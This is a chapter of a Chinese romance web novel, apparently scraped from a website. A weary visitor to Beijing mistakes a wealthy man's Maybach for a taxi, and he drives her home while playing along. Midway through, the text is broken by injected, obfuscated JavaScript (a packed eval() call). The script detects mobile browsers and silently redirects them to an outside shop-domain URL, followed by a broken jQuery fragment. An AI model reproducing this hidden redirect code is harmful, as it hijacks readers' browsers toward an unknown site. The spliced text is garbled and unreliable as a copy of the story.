那是黄晶来北京的第二天。
四月的北京，白天晒得人发晕，到了晚上风一吹，又凉得有点不讲道理。她在外面走了一整天，几万步，该看的都看了，该走的弯路也一条没少走。德训鞋的鞋底薄，走久了脚底板隐隐发疼，每多走一步都在提醒她：该回去了。
但她不想再转公交了。
民宿在潘家园那边，地铁转公交还要再走一段路，开始不觉得麻烦，但今晚不行。今晚她的脚在抗议，她的背在抗议，她的眼皮也在抗议。黄晶站在路口，眯着眼睛往马路对面看——她近视，但平时不戴眼镜，只有看平板或电脑的时候才会架上那副银框眼镜。所以此刻她看到的街景是一幅大色块的油画，车灯是模糊的光团，路人是移动的色块。
路口停着一辆车。
蓝白配色，具体什么蓝她说不清楚，反正看着像出租车。车停在路边，窗口开着，里面坐着个人，穿深色衣服。黄晶没多想，她只看到：路边，一辆出租车，里面有人，车窗开着。
黄晶走上前，弯下腰，对着车窗开口：“师傅，你这车去潘家园那边吗？”
车里的人在玩手机。听到声音，他抬起头。
黄晶就那么看着他，两人四目相对。车里没开灯，他的脸半隐在暗处，五官看不太清，但眼睛是亮的。她没戴眼镜，也懒得分辨他的表情，只觉得这个人好像愣了一下——大概是在看手机没听清。
“我想去潘家园那边。”她又说了一遍。
裴砚看着车窗外这张脸。
他刚回国没几天，倒时差倒得昏昏沉沉，今晚推了两个朋友约的酒局，一个人开车出来转转。停在路边是在回消息，顺便想了想要不要去吃碗面。
然后一个穿着蓝色外套的女孩走过来，叫他“师傅”，问他去不去潘家园。
师傅。
他在美国待了那么多年，什么乱七八糟的事没遇到过。路上被当成Uber司机也不是一回两回。但回国第二天就被人当成出租车，倒是头一次。
有点意思。
裴砚看了她一眼。没有刘海，偏圆的眼睛，头发被风吹得有点乱，一脸认真地在等“师傅”说话。她不是喝醉了，也不是开玩笑，她大概真觉得这是一辆出租车。
“上来吧。”
黄晶没有马上动。她一只手扶着车窗边缘，微微弯着腰，又问了一句：“那大概多少钱啊？是按时间算还是打表走公里啊？”
裴砚差点笑出来。
打表？
她问他打表还是按时间。
裴砚在方向盘上轻轻敲了一下手指，脸上没什么表情。
“打表。”这两个字从他嘴里说出来，有一种不太自然的停顿，像是临时从某个地方借来的词。
黄晶眉头微微皱了一下。
裴砚看到了。
“……不会超过二十。”他补了一句。语气比刚才低了一点，像在估算一个他根本不需要估算的数字。
听到这话黄晶心里有了底。二十，还行。夜间打车差不多就是这个价，她还怕在景区附近被宰。这人看着话不多，报价倒是挺实在。
“哦哦，好。”黄晶拉开后座车门，坐了进去。
车里有一股淡淡的香味，不像出租车里常见的那种混着汽油和空气清新剂的味道。但她也没多想，可能这位师傅比较爱干净。黄晶把斜挎包取下来搁在腿上，整个人靠在后座上。走了几万步的腿终于可以歇着了，她安安静静地坐着，两只脚规规矩矩地踩在脚垫上。
“师傅，我去潘家园那边，就那个——”她翻了翻手机，把民宿的地址念了一遍。
裴砚没说话，发动了车。
北京的夜晚从车窗外流过。路灯一盏一盏往后退，橘黄色的光一道一道从车窗上滑过去。车里很安静，没人说话。黄晶靠在座椅上，头抵着车窗，看着外面的街景从商圈变成住宅区。她最喜欢这种不用说话的行程，累了一天，最不想做的就是和陌生人寒暄。这位师傅话少，正好。
裴砚也没说话，他是在玩一个只有自己知道的游戏。这个女孩上车之后就没再看他一眼，看窗外，乖乖巧巧地坐着，好像真的把这里当成了出租车。她对他毫无好奇，这一点让他觉得好笑又新鲜。
车开到潘家园附近，导航的女声报了最后一句“前方到达目的地”。
“师傅，前面路口右转就到了。”黄晶探了探身子，从包里摸出手机，“多少钱？我扫您。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17634918|206530||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
裴砚把车停在路边。手指在方向盘上轻轻敲了一下，然后转过身，看向后座。
“不要钱。”
黄晶正在翻微信，准备扫一扫，手指停住了。
“啊？”她抬起头，眉头皱起来，看着他。
“我不是开出租的。”
黄晶眨了眨眼。
不是开出租的？
她的大脑努力处理这个信息，但处理不太动。黄晶就那么看着他，等他给个解释。脸上的表情像是遇到了一道逻辑不通的题，所有的已知条件都互相矛盾，解不出来。
裴砚看着她困惑的脸，觉得这个游戏差不多可以收尾了。
“我的意思是，”他说，语气还是那种不紧不慢的调子，“我不是出租车。你拦错了。”裴砚顿了顿，“但你说打表，我就顺着说了。”
裴砚没有解释为什么顺着说，也没有说“刚才要是跟你解释，你还得在路边重新等”这种好心话。因为那不是真的。他就是闲着无聊，想看看这件事会怎么发展。
现在到站了，游戏结束。
“到了，”他说，“下车吧。”
黄晶眨了眨眼。脑子里那些问题还没理清楚，但身体比脑子快，手已经摸到车门把手了。
“昂。谢谢啊，谢谢。”
她说这两声谢谢完全是条件反射，就像在食堂打饭阿姨把盘子递过来的时候会说谢谢，在便利店结完账也会说谢谢。
下车的时候斜挎包的带子被车门把手勾了一下，黄晶低头解了一下，然后关门。第一下没关严，她又拉开重新关了一次，这回用了劲，“砰”的一声——这车门比她预想的沉。
往民宿走的路上，她没回头，也没多想。一个不是开出租的人送了她一程，挺奇怪的，但也就那样了。民宿的灯亮着，她现在要想的是明天去哪玩，后天开始找房子的事。
黄晶拉开大门，上楼，洗澡，睡觉。
那辆蓝白色的迈巴赫在路边停了一会儿。
裴砚没有马上开走。他坐在驾驶座上，手指在方向盘上无意识地敲了一下。
师傅。
他对着空无一人的后座轻轻笑了一声，发动车子，拐了个弯，潘家园的路灯把他的车吞了进去。